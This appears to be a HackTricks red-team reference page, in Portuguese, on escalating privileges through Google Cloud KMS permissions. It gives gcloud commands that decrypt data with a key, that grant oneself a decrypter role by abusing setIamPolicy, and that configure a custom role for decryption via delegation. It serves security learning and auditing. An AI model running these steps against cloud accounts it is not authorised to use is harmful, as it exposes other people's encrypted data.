GCP - KMS Privesc

Aprenda e pratique Hacking na AWS: Treinamento HackTricks AWS Red Team Expert (ARTE) Aprenda e pratique Hacking no GCP: Treinamento HackTricks GCP Red Team Expert (GRTE)

Suporte ao HackTricks

KMS

Informações sobre o KMS:

GCP - KMS Enum

Observe que no KMS as permissões não são apenas herdadas de Organizações, Pastas e Projetos, mas também de Keyrings.

cloudkms.cryptoKeyVersions.useToDecrypt

Você pode usar essa permissão para descriptografar informações com a chave sobre a qual você tem essa permissão.

gcloud kms decrypt \
--location=[LOCATION] \
--keyring=[KEYRING_NAME] \
--key=[KEY_NAME] \
--version=[KEY_VERSION] \
--ciphertext-file=[ENCRYPTED_FILE_PATH] \
--plaintext-file=[DECRYPTED_FILE_PATH]

cloudkms.cryptoKeys.setIamPolicy

Um atacante com essa permissão poderia se dar permissões para usar a chave para descriptografar informações.

gcloud kms keys add-iam-policy-binding [KEY_NAME] \
--location [LOCATION] \
--keyring [KEYRING_NAME] \
--member [MEMBER] \
--role roles/cloudkms.cryptoKeyDecrypter

cloudkms.cryptoKeyVersions.useToDecryptViaDelegation

Aqui está uma quebra conceitual de como essa delegação funciona:

  1. Conta de Serviço A tem acesso direto para decriptar usando uma chave específica no KMS.

  2. Conta de Serviço B recebe a permissão useToDecryptViaDelegation. Isso permite que ela solicite ao KMS para decriptar dados em nome da Conta de Serviço A.

O uso dessa permissão é implícito na forma como o serviço KMS verifica as permissões quando uma solicitação de decriptação é feita.

Quando você faz uma solicitação de decriptação padrão usando a API do Google Cloud KMS (em Python ou outra linguagem), o serviço verifica se a conta de serviço solicitante possui as permissões necessárias. Se a solicitação for feita por uma conta de serviço com a permissão useToDecryptViaDelegation, o KMS verifica se essa conta está autorizada a solicitar decriptação em nome da entidade que possui a chave.

Configurando a Delegação

  1. Definir a Função Personalizada: Crie um arquivo YAML (por exemplo, custom_role.yaml) que define a função personalizada. Este arquivo deve incluir a permissão cloudkms.cryptoKeyVersions.useToDecryptViaDelegation. Aqui está um exemplo de como esse arquivo pode ser:

title: "KMS Decryption via Delegation"
description: "Allows decryption via delegation"
stage: "GA"
includedPermissions:
- "cloudkms.cryptoKeyVersions.useToDecryptViaDelegation"
  1. Criar a Função Personalizada Usando o gcloud CLI: Utilize o seguinte comando para criar a função personalizada no seu projeto Google Cloud:

gcloud iam roles create kms_decryptor_via_delegation --project [YOUR_PROJECT_ID] --file custom_role.yaml

Substitua [YOUR_PROJECT_ID] pelo ID do seu projeto Google Cloud.

  1. Conceda o Papel Personalizado a uma Conta de Serviço: Atribua o seu papel personalizado a uma conta de serviço que estará usando essa permissão. Utilize o seguinte comando:

# Give this permission to the service account to impersonate
gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member "serviceAccount:[SERVICE_ACCOUNT_B_EMAIL]" \
--role "projects/[PROJECT_ID]/roles/[CUSTOM_ROLE_ID]"

# Give this permission over the project to be able to impersonate any SA
gcloud projects add-iam-policy-binding [YOUR_PROJECT_ID] \
--member="serviceAccount:[SERVICE_ACCOUNT_EMAIL]" \
--role="projects/[YOUR_PROJECT_ID]/roles/kms_decryptor_via_delegation"

Substitua [YOUR_PROJECT_ID] e [SERVICE_ACCOUNT_EMAIL] pelo ID do seu projeto e pelo e-mail da conta de serviço, respectivamente.

Aprenda e pratique Hacking na AWS:Treinamento HackTricks AWS Red Team Expert (ARTE) Aprenda e pratique Hacking na GCP: Treinamento HackTricks GCP Red Team Expert (GRTE)

Apoie o HackTricks

Last updated